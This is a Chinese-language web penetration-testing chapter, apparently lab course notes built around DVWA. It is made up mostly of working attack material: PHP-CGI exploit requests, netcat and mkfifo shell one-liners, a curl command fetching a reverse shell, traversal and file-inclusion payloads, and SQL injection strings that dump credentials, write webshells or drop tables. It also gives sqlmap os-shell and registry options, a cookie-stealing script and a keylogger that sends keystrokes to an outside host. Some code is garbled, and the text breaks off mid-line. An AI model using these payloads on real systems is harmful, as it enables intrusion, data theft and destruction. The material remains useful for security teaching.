第十二章 WEB渗透

Web技术发展

• 静态WEB
• 动态WEB
  • 应用程序
  • 数据库
  • 每个人看到的内容不同
  • 根据用户输入返回不同结果

WEB攻击面
• Network
• OS
• WEB Server
• App server
• Web Application
• Database
• Browser

 

HTTP协议基础
• 明文
  • 无内建的机密性安全机制
  • 嗅探或代理截断可查看全部明文信息
  • https只能提高传输层安全
• 无状态
  • 每一次客户端和服务器端的通信都是独立的过程
  • WEB应用需要跟踪客户端会话(多步通信)
  • 不使用cookie的应用,客户端每次请求都要重新身份验证(不现实)
  • Session用于在用户身份验证后跟踪用户行为轨迹
    • 提高用户体验,但增加了攻击向量

• Cycle
• 请求/ 响应
• 重要的header
  • Set-Cookie:服务器发给客户端的SessionID(被窃取的风险)
  • Content-Length:响应body部分的字节长度
  • Location:重定向用户到另一个页面,可识别身份认证后允许访问的页面
  • Cookie:客户端发回给服务器端证明用户状态的信息(头:值成对出现)
  • Referrer:发起新请求之前用户位于哪个页面,服务器基于此头的安全限制很容易被修改绕过

状态码(5大类)

100S:服务器响应的信息,通常表示服务器还有后续处理,很少出现

200S:请求被服务器成功接受并处理后返回的响应结果

300S:重定向,通常在身份认证成功后重定向到一个安全页面(301/302)

400S:表示客户端请求错误

  401.需要身份验证

  403.访问拒绝

  404.页面丢失

500S:服务器内部错误

  503.服务不可用

查看更多

 

工具类使用方法请移至:常用工具使用简介

手动漏洞挖掘

• 默认安装
• Windows默认安装漏洞
  • phpMyAdmin/setup
  • Ubuntu / Debian 默认安装PHP5-cgi
• 可直接访问 /cgi-bin/php5 和 /cgi-bin/php(爬不出来的目录)
POST http://192.168.20.10/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.20.10
passthru('id');
die();
?>

 

• PHP反弹shell
  • /usr/share/webshells/php/php-reverse-shell.php      // 反弹shell,需要设置好你的IP地址和端口,然后通过nc在本地监听此端口,然后通过burp将其内容直接向服务器发送
• File
• Whereis
  • Ifconfig
• 写入webshell
  •  ;echo "" > /var/www/3.php  

 

 

• POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F
%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+
%2D%6E HTTP/1.1
• Host: 123
 echo system('cat /etc/passwd');
?>

 

• POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E
%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D
%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C
%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F
%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F
%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F
%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E
%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F
%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E
%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+
%2D%6E HTTP/1.1
•Host: 192.168.20.5
system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe');      // 在服务器端监听4444端口,然后客户端通过nc命令连接其4444端口,就可以get_shell了
?>

• 身份认证
• 常用弱口令 / 基于字典的密码爆破
• 锁定账号
• 信息收集
  • 手机号
  • 密码错误提示信息
• 密码嗅探

 

• 会话sessionID
• Xss / cookie importer
• SessionID in URL
• 嗅探
• SessionID 长期不变 / 永久不变
• SessionID 生成算法
  • Sequencer
  • 私有算法
  • 预判下一次登录时生成的SessionID
  • 登出后返回测试

 

• 密码找回
• https://www.example.com/[email protected]&key=b4c9a289323b21a01c3e940f150eb9b8c542587f1abfd8f0e1cc1ffc5e475514

 

• 漏洞挖掘原则
  • 所有变量
  • 所有头
    • Cookie中的变量
  • 逐个变量删除

 

• 漏洞的本质
  • 数据与指令的混淆
  • 对用户输入信息过滤不严判断失误,误将指令当数据
• 命令执行
  • 应用程序开发者直接调用操作系统功能
  • ;  &&  |   ||   &
  • 查看源码,过滤用户输入
  • ;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe
• ;curl http://1.1.1.1/php-revers-shell.php

 

• Directory traversal / File include (有区别 / 没区别)
• 目录权限限制不严 / 文件包含
• /etc/php5/cgi/php.ini
  • allow_url_include = on
• 应用程序功能操作文件,限制不严时导致访问WEB目录以外的文件
  • 读、写文件,远程代码执行
• 特征但不绝对
  • ?page=a.php
  • ?home=b.html
  • ?file=content

 

• 经典测试方法
  • ?file=../../../../etc/passwd
  • ?page=file:///etc/passwd
  • ?home=main.cgi
  • ?page=http://www.a.com/1.php
  • http://1.1.1.1/../../../../dir/file.txt
• 编码绕过字符过滤
  • “.”    “%00”      # 绕过文件扩展名过滤
    • ?file=a.doc%00.php
  • 使用多种编码尝试

 

• 不同操作系统的路径特征字符
  • 类unix系统
    • 根目录:/
    • 目录层级分隔符:/
  • Windows 系统
    • C:\
    • \ 或 /

 

• 编码
  • url 编码、双层url 编码
    • %2e%2e%2f       解码:../
    • %2e%2e%5c       解码:..\
    • %252e%252e%255c    解码:..\
  • Unicode/UTF-8 编码
    • ..%c0%af         解码:../
    • ..%u2216
    • ..%c1%9c         解码:..\

 

• 其他系统路径可能使用到的字符
  • file.txt...
  • file.txt
  • file.txt””””
  • file.txt<<<>>><
  • ./././file.txt
  • nonexistant/../file.txt
• UNC 路径
  • \\1.1.1.1\path\to\file.txt

 

• 代码             第十二章 WEB渗透_第1张图片

 

• 攻击            

 

• 结果             第十二章 WEB渗透_第2张图片

 

• 本地文件包含  lfi
  • 查看文件
  • 代码执行
    •
    • Apache access.log
• 远程文件包含 rfi
  • 出现概率少于lfi 但更容易被利用
• /usr/share/wfuzz/wordlist/vulns/

 searchsploit   ms11-080      // 终端命令行下搜索相应漏洞

• 文件上传漏洞
  •
• 直接上传webshell
• 修改文件类型上传webshell
  • Mimetype——文件头、扩展名
• 修改扩展名上传webshell
• 静态解析文件扩展名时可能无法执行
• 文件头绕过过滤上传webshell
• 上传目录权限

 

手动漏洞挖掘——SQL注入

原理:有如下sql查询语句

select user,password from users where user = '                '

用户注入的内容将会在两个单引号之间,比如  1’ and ‘1’=‘1,那么上面的语句就变成如下:

select user,password from users where user = '        1’ and ‘1’=‘1        '      / /这样就发现单引号与单引号两两进行了闭合

• 服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器
• 用户登录判断
  • SELECT * FROM users WHERE user=‘uname' AND password=‘pass‘
  • SELECT * FROM users WHERE user=‘name' AND password='' OR ''='‘

• 基于报错的检测方法(low)
  • ‘ “ % ( )
• 基于布尔的检测
  • 1’ and ‘1’=‘1    /    1’ and ‘1    
  • 1’ and ‘1’=‘2    /    1’ and ‘0
• 表列数 / 显示信息位于哪一列
  •  ‘ order by 9--      # 按查询列号排序(注释符:-- ),两个--后面的空格不能丢,两个--后面的内容代表注释,不去进行解释          select user,password from users where user = '     'order by 9--         ',通过这个我们可以得出表的准确列数,比如order   by   50,会报错太大了,然后order   by   25,又太大了,然后15,以此类推,最后得出准确的列的数量
  •  select * 时表字段数=查询字段数
• 联合查询
  • ’ union select 1,2--+   // +号是使用hackbar插件自动将空格转变为+号,本质上好空格没有区别,当得出列的准确数量之后,就可以查询其结果
  • ’ union all select database(),2--+    // 我们可以将某列上面的内容替换成数据库里面的内置全局函数从而获取得到我们想要的信息

  • ' union select database(),substring_index(USER(),"@",1)--   // substring_index(USER(),"@",1)的意思是以@作为分隔符,取USER()全局函数的第一个值如USER()的值为root@localhost,那么这个字段的值就是root
• DB用户:user()
• DB版本:version()
• 全局函数:@@datadir、@@hostname、@@VERSION、@@version_compile_os
• 当前库:database()
• ASCII转字符:char()
• 连接字符串:CONCAT_WS(CHAR(32,58,32),user(),database(),version())        // 让其在一行显示,其中char(32,58,32)代表的是空格:空格,root@localhost : dvwa : 5.0.51a-3ubuntu
• 计算哈希:md5()
• Mysql 数据结构
  • information_schema

 

• 所有库所有表  / 统计每库中表的数量
  • ‘ union select table_name,table_schema from information_schema.tables--+
  • ' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema --
• Dvwa库中的表名
  • ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+
• Users表中的所有列 (user_id、first_name、last_name、user、password、avatar)
  • ' union select table_name,column_name from information_schema.columns where  table_schema='dvwa' and table_name='users’--+
• 查询user、password列的内容
  • ' union select user,password from dvwa.users--+
  • ' union select user,password from users--+
  • ' union select null, concat(user,0x3a,password) from users--+      // concat是连接字符

• 密码破解
  • username:passhash ——> dvwa.txt
  • john --format=raw-MD5 dvwa.txt

 

• 读取文件
  • ' union SELECT null, load_file('/etc/passwd')--+
• 写入文件
  • ' union select null,"" INTO DUMPFILE "/var/www/a.php" --+    // 能不能成功写入具体需要看权限
  • Mysql 账号
  • cat php-revers-shell.php | xxd -ps | tr -d ‘\n’  // xxd是将php的反弹shell进行16进制编码,然后在删除行尾的换行符,变成一行,再通过burp对其进行发送给服务器
  • ' union select null, (0x3c3f706870) INTO DUMPFILE '/tmp/x.php'--  //将上面生成的16进制编码的反弹shell放到(0x)里面
• 保存下载数据库
  • ' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'--  // 0x3a  即 :

 

• 一个思路:编写服务端代码  

(有的时候我们拿到服务器的数据库账号和密码,由于密码是通过某种方式进行加密的,通常是md5,如果通过工具去对密码进行解密,可能需要大量的时间,甚至几十年,上百年,这个时候我们就在想能不能在数据库新建一个账号和密码,或者直接更改管理员账号的密码,当然是需要通过md5加密之后的(注意:系统的md5算法和mysql的md5算法很有可能不一致))
' union select null,'= $_POST["first_name"]; $last_name = $_POST["last_name"]; $username =
$_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID
"; echo
"first_name: $first_name
"; echo "last_name: $last_name
"; echo "username:
$username
"; echo "avatar: $avatar
";
$con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo
"Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to
database
"; } $password = "123"; $sql="insert into dvwa.users values (\\"$userID\\",\
\"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\
\")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error
creating database: " . mysqli_error($con); } mysqli_close($con); } ?>

action=""> value="33">

name="last_name" value="y">



value="Submit Form">
' INTO DUMPFILE '/tmp/user.php' --

 

• 无权读取information_schema库 / 拒绝union、order by语句  (当没有权限读取information_schema库的时候,可以考虑通过以下方法逐步获取相应信息)
  • 猜列名:' and column is null--+
    • Burp suite 自动猜列名
  • 猜当前表表名: ' and table.user is null--+
  • 猜库里其他表:' and (select dvwa from table)>0--+
  • 列表对应关系: ' and users.user is null--+
  • 猜字段内容:' or user='admin
          ' or user like ' %a%
  • 猜账号对应密码
    • ' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99

 

• 当数据库可写
  •  '; update users set user='yuanfh' where user='admin
    • 注入失败,Sql客户端工具的问题
    • http://dev.mysql.com/doc/refman/5.7/en/commands-out-of-sync.html
  •  '; INSERT INTO users (' user_id',' first_name',' last_name','user','password','avatar') VALUES(‘35',‘fh',‘yuan',‘yfh','5f4dcc3b5aa765d61d8327deb882cf99','OK');--+
  •  '; DROP TABLE users; --        // 慎用
  • xp_cmdshell              // 存储过程
• SQLi没有通用的方法,掌握原理,了解各种数据库特性

 

• Medium难度级别  

(dvwa的中安全级别可以发现其是对于某些特殊字符做了转义,如'单引号会转换成\',所以在中安全级别里的SQL注入其实比低安全级别的SQL注入更容易突破,因为不用加前面的'单引号进行闭合,也不用加后面的--   进行注释)
  • mysql_real_escape_string()
    • PHP 4 >= 4.3.0, PHP 5
  • PHP 5.5.0 已经弃用此函数
  • PHP 7.0.0 已经删除此函数,代之以 MySQLi 、 PDO_MySQL
  • 转义符,对下列字符转义

 第十二章 WEB渗透_第3张图片

• high难度级别   (高安全级别里面对于输入的内容进行了判断,会判断你输入的是否是数字,这个级别就不存在SQL注入漏洞)
  • mysql_real_escape_string()
  • stripslashes()
    • 去除 “\”
  • is_numeric()
    • 判断是否是数字

 

手工漏洞挖掘——SQL盲注

• 不显示数据库内建的报错信息
  • 内建的报错信息帮助开发人员发现和修复问题
  • 报错信息提供关于系统的大量有用信息
• 当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,sql注入将无法依据报错信息判断注入语句的执行结果,即:盲注
• 思路:既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断
  • 1‘ and 1=1--+
  • 1‘ and 1=2--+

 

在SQL盲注里面我们可以通过order  by语句来判断存在的列数

• 1' order by 5--+   假
• 1' order by 2--+   真    
• 1' union select 1,2--+
• 1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--+
• 1' and 1=0 union select null,table_name from information_schema.tables#
• 1' and 1=0 union select null,table_name from information_schema.columns where  table_name='users' #

 

• 无权读取information_schema库/ 拒绝union、order by语句
  • 猜列名:1' and user is not null--+
  • 猜当前表表名: 1' and table.user is not null--+
  • 猜库里其他表:1' and (select count() from table)>0--+
  • 列表对应关系: 1' and users.user is not null--+
  • 猜字段内容:1' and user='admin
          1' or user like '%a%
  • 猜账号密码
    • 2' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99
• Burpsuit 自动化猜解内容

 

SQLMAP自动注入

• 开源sql注入漏洞检测、利用工具

• 检测动态页面中get/post参数、cookie、http头
• 数据榨取
• 文件系统访问
• 操作系统命令执行
• 引擎强大、特性丰富
• Xss漏洞检测

 

• 五种漏洞检测技术
  • 基于布尔的盲注检测
  • 基于时间的盲注检测
    •  ' and (select * from (select(sleep(20)))a)--+
  • 基于错误的检测
  • 基于UNION联合查询的检测
    • 适用于通过循环直接输出联合查询结果,否则只显示第一项结果
  • 基于堆叠查询的检测
    •  ; 堆叠多个查询语句
    • 适用于非select的数据修改、删除的操作
  • 支持的数据库管理系统DBMS
    • MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite,Firebird, Sybase , SAP MaxDB

 

• 其他特性
  • 数据库直接连接  -d
  • 不通过SQL注入,制定身份认证信息、IP、端口
  • 与burpsuite、google结合使用,支持正则表达式限定测试目标

  • Get、post、cookie、 Referer、User-Agent(随机或指定)
    • Cookie过期后自动处理Set-Cookie头,更新cookie信息
  • 限速:最大并发、延迟发送
  • 支持Basic, Digest, NTLM, CA身份认证
  • 数据库版本、用户、权限、hash枚举和字典爆破、暴力破解表列名称
  • 文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表
  • 与w3af、metasploit集成结合使用,基于数据库服务进程提权和上传执行后门

 

• 基于python2.7 开发
• 安装
  • apt-get install git
  • git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
• 升级
  • sqlmap --update   在线
  • git pull       离线
• Kali集成版随kali库更新

 

• sqlmap -h / -hh
• sqlmap -d "mysql://user:[email protected]:3306/dvwa" -f --users --banner --dbs --schema -a
• sqlmap --version -v
• 日志
  • .sqlmap
• 输出
  • 输出内容详细度分7个等级

 

SQLMAP自动注入01——TARGET

• Get方法
  • sqlmap -u "http://192.168.20.10/mutillidae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username -f
• 扫描URL列表文件
  • http://1.1.1.1/vuln1.php?q=foobar
    http://1.1.1.1/vuln3/id/1*
  • sqlmap -m list.txt
• 扫描google搜索结果
  • sqlmap.py -g "inurl:\".php?id=1\""

• POST方法
  • 使用http请求文件(burpsuite)
    • sqlmap -r request.txt
  • 使用burpsuite log文件
    • sqlmap -l log.txt
• HTTPS
  • sqlmap -u “https://1.1.1.1/a.php?id=1:8843” --force-ssl
• 扫描配置文件
  • sqlmap -c sqlmap.conf

 

SQLMAP自动注入02——REQUEST

• 数据段:--data
  • get / post 都适用
  • sqlmap -u "http://1.1.1.1/a.php" --data="user=1&pass=2" -f
• 变量分隔符:--param-del
  • http://1.1.1.1/a.php?q=foo;id=1 // ; &
  • sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1" --param-del=";" -f
• cookie 头:--cookie
  • web应用需要基于cookie的身份认证
  • 检查cookie中的注入点(level >=2)
  • Set-Cookie / --drop-set-cookie / --cookie-del
  • sqlmap -u "http://1.1.1.1/a.php?id=1" --cookie="a=1;b=2" -f

 

• --user-agent
  • sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
• --random-agent
  • /usr/share/sqlmap/txt/user-agents.txt
• sqlmap检查user-agent中的注入点:Level >= 3
• APP/WAF/IPS/IDS 过滤异常 user-agent时报错
  • [hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent

• Host头:--host
  • Level =5
• Referer头:--referer
  • Level >=3
• 额外的header: --headers
  • 每个头单独一行(名称区分大小写)
  • sqlmap -u “http://1.1.1.1/a.php?id=1” --headers="host:www.a.com\nUser-Agent:yuanfh"
• --method=GET/POST

 

• 基于HTTP协议的身份验证
  • Basic
  • Digest
  • NTLM
  • sqlmap. -u "http://1.1.1.1/a.php?id=1" --auth-type Basic --auth-cred "user:pass“
• --auth-cert / --auth-file
  • --auth-file="ca.PEM"
  • 含有私钥的PEM格式证书文件
  • PEM格式的证书链文件

 

• http(s) 代理
  • --proxy="http://127.0.0.1:8087"
  • --proxy-cred="name:pass"
  • --ignore-proxy
    • 忽略系统级代理设置,通常用于扫描本地网络目标
  • sqlmap -u "http://1.1.1.1/a.php?id=1" --proxy="http://127.0.0.1:8087" -f

 

• --delay
  • 每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟
• --timeout
  • 请求超时时间,浮点数,默认为30秒
• --retries
  • http(s)连接超时重试次数,默认3次
• --randomize
  • 长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名

• --scope
  • 过滤日志内容,通过正则表达式筛选对象
  • sqlmap -l burp.log --scope="(www)?\.target\.(com|net|org)“
  • sqlmap -l 2.log --scope="(19)?\.168\.20\.(1|10|100)" --level 3 --dbs
  • User-agent中的注入点
• --safe-url / --safe-freq
  • 检测和盲注阶段会产生大量失败请求,服务器端可能因此销毁session
  • 每发送--safe-freq次注入请求后,发送一次正常请求

• --skip-urlencode
  • 默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据
• --eval
  • 每次请求前执行指定的python代码
  • 每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)
  • sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import   hashlib;hash=hashlib.md5(id).hexdigest()"

 

SQLMAP自动注入03——OPTIMIZATION

• 优化性能
• --predict-output
  • 根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率
  • 版本名、用户名、密码、Privileges、role、数据库名称、表名、列名
  • 与--threads参数不兼容
  • 统计表:/usr/share/sqlmap/txt/common-outputs.txt
• --keep-alive
  • 使用http(s)长连接,性能好
  • 与 --proxy参数不兼容
  • 长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源

• --null-connection
  • 只获取相应页面的大小值,而非页面具体内容
  • 通常用于盲注判断  真 / 假,降低网络带宽消耗
  • 与--text-only参数不兼容(基于页面内容的比较判断 真/假)
• --threads
  • 最大并发线程
  • 盲注时每个线程获取一个字符(7次请求),获取完成后线程结束
  • 默认值为1,建议不要超过10,否则可能影响站点可用性
  • 与 --predict-output 参数不兼容
• -o 开启前三个性能参数 (除--threads参数)

 

SQLMAP自动注入04——INJECTION

• -p
  • 指定扫描的参数,使--level失效
  • -p "user-agent, referer"
• --skip
  • 排除指定的扫描参数
  • --level=5 --skip=“id,user-agent“
• URI注入点
  • sqlmap -u “http://targeturl/param1/value1*/param2/value2*/"

 

• --dbms=“mysql”
  • MySQL <5.0>
  • Oracle <11i>
  • Microsoft SQL Server <2005>
  • PostgreSQL
  • Microsoft Access
  • SQLite
  • Firebird
  • Sybase
  • SAP MaxDB
  • DB2

• --os
  • Linux
  • Windows
• --invalid-bignum / --invalid-logical
  • 通常sqlmap使用负值使参数取值失效 id=13 ---> id=-13
  • bignum 使用大数使参数值失效  id= 99999999
  • Logical 使用布尔判断使取值失效 id=13 AND 18=19
• --no-cast
  • 榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果
  • 老版本mysql数据库需要开启此开关

• --no-escape
  • 处于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串
  • SELECT 'foo' --> SELECT CHAR(102)+CHAR(111)+CHAR(111)
  • 本参数将关闭此功能
• --prefix / --suffix
  • $query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
  • sqlmap -u "http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc“
  • query = "SELECT * FROM users WHERE id=(’1’) AND (’abc’=’abc’) LIMIT 0, 1";

• --tamper
  • 混淆脚本,用于绕过应用层过滤、IPS、WAF
  • sqlmap -u “http://1.1.1.1/a.php?id=1” --tamper="tamper/  between.py,tamper/randomcase.py,tamper/space2comment.py" -v 3

 

SQLMAP自动注入05——DETECTION

• --level
  • 1-5级,(默认1)
  • /usr/share/sqlmap/xml/payloads
• --risk
  • 1-4 (默认1 / 无害)
  • Risk升高可造成数据被篡改等风险(update)
• --string, --not-string, --regexp, --code, --text-only, --titles
  • 页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面随时间阈值变化,此时需要人为指定标识真假的字符串。

 

SQLMAP自动注入06——TECHNIQUES

• 默认使用全部技术
• B: Boolean-based blind
• E: Error-based
• U: Union query-based
• S: Stacked queries(文件系统、操作系统、注册表必须)
• T: Time-based blind

• --time-sec
  • 基于时间的注入检测相应延迟时间(默认5秒)
• --union-cols
  • 默认联合查询 1-10列,随--level增加最多支持50列
  • --union-cols 6-9
• --union-char
  • 联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动指定数值
  • --union-char 123

• --dns-domain
  • 攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度
  • --dns-domain attacker.com
• --second-order
  • 在一个页面注入的结果,从另一个页面体现出来
  • --second-order http://1.1.1.1/b.php

 

SQLMAP自动注入07——FINGERPRINT

• -f , --fingerprint, -b , --banner
  • 数据库管理系统指纹信息
  • DBMS, 操作系统,架构,补丁

 

SQLMAP自动注入08——ENUMERATION

• --current-user
• --current-db
• --hostname
• --users
• --privileges -U username (CU当前账号)
• --roles
• --dbs
• --tables, --exclude-sysdbs –D dvwa
• -T users -D dvwa -C user --columns

• --schema --batch --exclude-sysdbs  元数据(使用默认选项)
• --count
• Dump数据
  • --dump, -C, -T, -D, --start, --stop
  • --dump-all --exclude-sysdbs
  • --sql-query "select * from users"

 

SQLMAP自动注入09——BRUTE FORCE

• Mysql < 5.0 , 没有information_schema 库
• Mysql >= 5.0 但无权读取information_schema 库
• 微软的access数据库,默认无权读取MSysObjects 库
• --common-tables
• --common-columns (Access系统表无列信息)

 

SQLMAP自动注入10——UDF INJECTION

• --udf-inject , --shared-lib
  • 编译共享库创建并上传至 DB Server,以此生成UDF实现高级注入
  • Linux : shared object
  • Windows :DLL
  • http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857

 

SQLMAP自动注入11——FILE SYSTEM

 

• --file-read="/etc/passwd"
• --file-write="shell.php" --file-dest "/tmp/shell.php"

 

SQLMAP自动注入12——OS

• Mysql 、postgresql
  • 上传共享库并生成sys_exec()、sys_eval()两个UDF
• Mssql
  • xp_cmdshell 存储过程(有就用,禁了启,没有建)
• --sql-shell
• --os-shell
• --os-cmd

 

SQLMAP自动注入13——WINDOWS REGISTORY

• --reg-read
• --reg-add
• --reg-del
• --reg-key、--reg-value、--reg-data、--reg-type
• sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

 

SQLMAP自动注入14——GENERAL

• -s:sqlite会话文件保存位置
• -t:记录流量文件保存位置
• --charset:强制字符编码
  • --charset=GBK
• --crawl:从起始位置爬站深度
  • --batch --crawl=3
• --csv-del:dump数据默认存放于” ,”分割的CSV文件中,指定其他分隔符
  • --csv-del=";"
• --dbms-cred:指定数据库账号

• --flush-session      清空session
• --force-ssl        
• --fresh-queries      忽略session查询结果
• --hex:dump非ASCII字符内容时,将其编码为16进制形式,收到后还原
  • sqlmap -u "http://1.1.1.1/s.php?id=1" --hex -v 3
• --output-dir=/tmp
• --parse-errors:分析和现实数据库内建报错信息
  • sqlmap.py -u "http://1.1.1.1/sqlmap/a.asp?id=1" --parse-errors
• --save:将这些命令保存成配置文件

 

SQLMAP自动注入15——MISCELLANEOUS

• -z:参数助记符
• sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u “1.1.1.1/a.php?id=1"
• sqlmap -z "bat,randoma,ign,tec=BEU" -u “1.1.1.1/a.php?id=1"
• sqlmap --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u “1.1.1.1/a.php?id=1"
• sqlmap -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u “1.1.1.1/vuln.php?id=1“

• --answer
  • sqlmap -u "http://1.1.1.1/a.php?id=1"--technique=E --answers="extending=N" --batch
• --check-waf:检测WAF/IPS/IDS
• --hpp:HTTP parameter pollution
  • 绕过WAF/IPS/IDS的有效方法
  • 尤其对ASP/IIS 和ASP.NET/IIS
• --identify-waf:彻底的waf/ips/ids检查
• 支持30多种产品

• --mobile:模拟智能手机设备
• --purge-output:清除output文件夹
• --smart:当有大量检测目标时,只选择基于错误的检测结果
• --wizard

 

XSS漏洞
• 攻击WEB客户端
• 客户端脚本语言
  • 弹窗告警
  • Javascript
  • 在浏览器中执行
• XSS(cross-site scripting)
  • 通过WEB站点漏洞,向客户端交付恶意脚本代码,实现对客户端的攻击目的
  • 注入客户端脚本代码
  • 盗取cookie
  • 重定向
  • VBScript, ActiveX, or Flash

 

• JavaScript
  • 与 Java 语言无关
  • 命名完全出于市场原因
  • 使用最广的客户端脚本语言
• 使用场景
  • 直接嵌入 html:
  • 元素标签事件:
  • 图片标签:
  • 其他标签:
  •
  •

 

• 窃取cookie

• a.js源码
• var img = new Image();
• img.src = "http://1.1.1.1/cookies.php?cookie="+document.cookie;

 

Keylogger.js
document.onkeypress = function(evt) {
  evt = evt || window.event
  key = String.fromCharCode(evt.charCode)
if (key) {
  var http = new XMLHttpRequest();
  var param = encodeURI(key)
  http.open("POST","http://192.168.20.8/keylogger.php",true);
  http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  http.send("key="+param);
  }
}

 

• Keylogger.php
  
  
  xss

 

• Xsser
  • 命令行 / 图形化工具
  • 绕过服务器端筛选
    • 10进制 / 16进制   编码
    • unescape()
  • xsser -u “http://1.1.1.1/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=low; PHPSESSID=d23e469411707ff8210717e67c521a81" -s  -v --reverse-check
  • --heuristic 检查被过滤的字符

 

• 对payload编码,绕过服务器端筛选过滤
  • --Str Use method String.FromCharCode()
  • --Une Use Unescape() function
  • --Mix Mix String.FromCharCode() and Unescape()
  • --Dec Use Decimal encoding
  • --Hex Use Hexadecimal encoding
  • --Hes Use Hexadecimal encoding, with semicolons
  • --Dwo Encode vectors IP addresses in DWORD
  • --Doo Encode vectors IP addresses in Octal
  • --Cem=CEM Try -manually- different Character Encoding Mutations
• (reverse obfuscation: good) -> (ex: 'Mix,Une,Str,Hex')

• 注入技术(多选)
• --Coo Cross Site Scripting Cookie injection
• --Xsa Cross Site Agent Scripting
• --Xsr Cross Site Referer Scripting
• --Dcp Data Control Protocol injections
• --Dom Document Object Model injections
• --Ind HTTP Response Splitting Induced code
• --Anchor Use Anchor Stealth payloader (DOM shadows!)
• --Phpids PHP - Exploit PHPIDS bug (0.6.5) to bypass filters

• --Doss XSS Denial of service (server) injection
• --Dos XSS Denial of service (client) injection
• --B64 Base64 code encoding in META tag (rfc2397)
• --Onm ONM - Use onMouseMove() event to inject code
• --Ifr Use